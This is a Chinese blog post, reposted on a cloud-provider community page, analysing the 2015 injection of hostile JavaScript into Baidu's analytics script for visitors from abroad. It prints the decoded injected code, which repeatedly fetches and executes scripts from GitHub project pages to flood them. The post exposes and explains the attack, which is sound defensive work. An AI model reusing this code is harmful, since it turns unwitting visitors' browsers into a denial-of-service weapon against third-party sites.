一招解決WARNING: malicious javascript detected on this domain

來源:互聯網
上載者:User

 

  臨時解決方案:

  修改hosts,添加""127.0.0.1 hm.baidu.com" 。

  詳細原因分析:今天中午刷著全國最大的資訊安全從業人員同性交友社區zone.wooyun.org的時候,忽然瀏覽器每隔2秒就不斷的彈窗:

  malicious javascript detected on this domain

  我第一反應就是不知道哪個調皮的基友又把zone給XSS了,馬上開啟開發人員工具分析。

  0x01 細節

  之後立刻發現彈窗的js居然是從github載入的:

  可是為什麼烏雲會從github載入js呢,並且還是從greatfire和紐約時報鏡像載入。

  第一反應是頁面有xss或者js被劫持了,找了半天終於找到了,居然是

  hm.baidu.com/h.js

  這個js的確被烏雲載入了沒錯,這是百度統計的js代碼,開啟后里面是一個簡單加密後的js,eval了一串編碼後的內容,隨便找了個線上解密看了下,發現如下內容:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>x3c/script>");

!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>x3c/script>");

startime = (new Date).getTime();

var count = 0;

function unixtime() {

var a = new Date;

return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3

}

url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

NUM = url_array.length;

function r_send2() {

var a = unixtime() % NUM;

get(url_array[a])

}

function get(a) {

var b;

$.ajax({

url: a,

dataType: "script",

timeout: 1E4,

cache: !0,

beforeSend: function() {

requestTime = (new Date).getTime()

},

complete: function() {

responseTime = (new Date).getTime();

b = Math.floor(responseTime - requestTime);

3E5 > responseTime - startime && (r_send(b), count += 1)

}

})

}

function r_send(a) {

setTimeout("r_send2()", a)

}

setTimeout("r_send2()", 2E3);

  大概功能就是關閉緩衝後每隔2秒載入一次

  url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

  裡面的兩個url

  問了下牆內的小夥伴們,他們看到的js都是正常的,但是通過牆外ip訪問

  http://hm.baidu.com/h.js

  就會得到上面的js檔案,每隔2秒請求一下這兩個url。

  開啟twitter看了下,似乎從3月18號以來Github就受到了DDoS攻擊,之後greatfire把被攻擊的頁面內容換成了

1

alert("WARNING: malicious javascript detected on this domain")

  以彈窗的方式阻止了js的迴圈執行。

  圖3 國外ip traceroute到hm.baidu.com的記錄

  似乎DNS並沒有被劫持,看來是像之前一樣直接把IP劫持了或者直接在HTTP協議裡替換檔案。

  掃了下連接埠,只開了80和443,通過https協議訪問後是正常的空頁面(只有帶referer才會出現js檔案)。

  作者要進行抓包分析時劫持已經停止,在twitter上看到有人已經分析過引用如下:

  抓包跟蹤,正常百度伺服器返回給我日本VPS的TTL為51, RESP返回HTTP 200 OK的報文的TTL是47,可以確定的是有中間裝置對VPS發了偽造報文。

  真是無恥,呵呵

  忽然想起一句話,之前DNS被劫持到外國伺服器的時候某站長說的:

  They have weaponized their entire population.

  現在應該是:

  They have weaponized their entire population of the Earth.

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.